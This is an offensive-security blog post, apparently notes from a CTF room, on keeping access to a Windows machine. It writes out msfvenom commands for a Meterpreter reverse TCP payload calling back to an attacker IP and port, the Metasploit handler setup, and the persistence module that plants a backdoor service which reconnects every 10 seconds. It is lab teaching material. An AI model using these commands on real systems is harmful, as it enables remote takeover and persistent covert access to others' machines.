boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

Windows

This covers a simple way to maintain access on a Windows machine: land a Meterpreter shell, then use the Metasploit persistence module to drop a backdoor service. The service gives an instant Meterpreter shell again if the machine is shut down or reset. Advanced backdoors and rootkits are out of scope for this room.

This needs more manual setup than the other tasks, so previous knowledge of msfvenom and Metasploit helps.

Quick Notes

Generate the payload, set up the handler, and catch the session:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.13.28.215 LPORT=1337 --format exe -o payload.exe
use exploit/multi/handler
set LHOST 10.13.28.215
set LPORT 1337
set PAYLOAD windows/meterpreter/reverse_tcp
exploit

Once the payload calls back to the listener, background the session with CTRL+Z, then run the persistence module against it:

use exploit/windows/local/persistence
set SESSION 1
exploit

Generating a Payload with msfvenom

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -o shell.exe generates a basic Windows Meterpreter reverse TCP shell.

  1. Transfer the payload from the attacker machine to the target machine.
  2. use exploit/multi/handler creates a listener on the port you set it on.
  3. Configure the payload to be a Windows Meterpreter shell: set payload windows/meterpreter/reverse_tcp.
  4. After setting your THM IP address as the LHOST, start the listener with run.
  5. Executing the binary on the Windows machine gives a Meterpreter shell back on your host.
  6. Verify the Meterpreter shell, then background it to run the persistence module.

Running the Persistence Module

  1. use exploit/windows/local/persistence sends a payload every 10 seconds by default, though you can set this interval to anything you want.
  2. set session 1 sets the session to the one you backgrounded in Meterpreter. Use the sessions command in Metasploit to list the active sessions.

If the system is shut down or reset, you lose your Meterpreter session. The persistence module leaves a backdoor you can reach at any time with the Metasploit multi handler, setting the payload to windows/meterpreter/reverse_tcp to send another Meterpreter payload to the machine and open a new session.

Here the session dies, but the second the handler runs again we get a Meterpreter shell back thanks to the persistence service.

There are other ways of maintaining access such as adding users and rootkits; I'll leave you to do your own research and labs on those topics.


Resources -

Tools/Malware Used -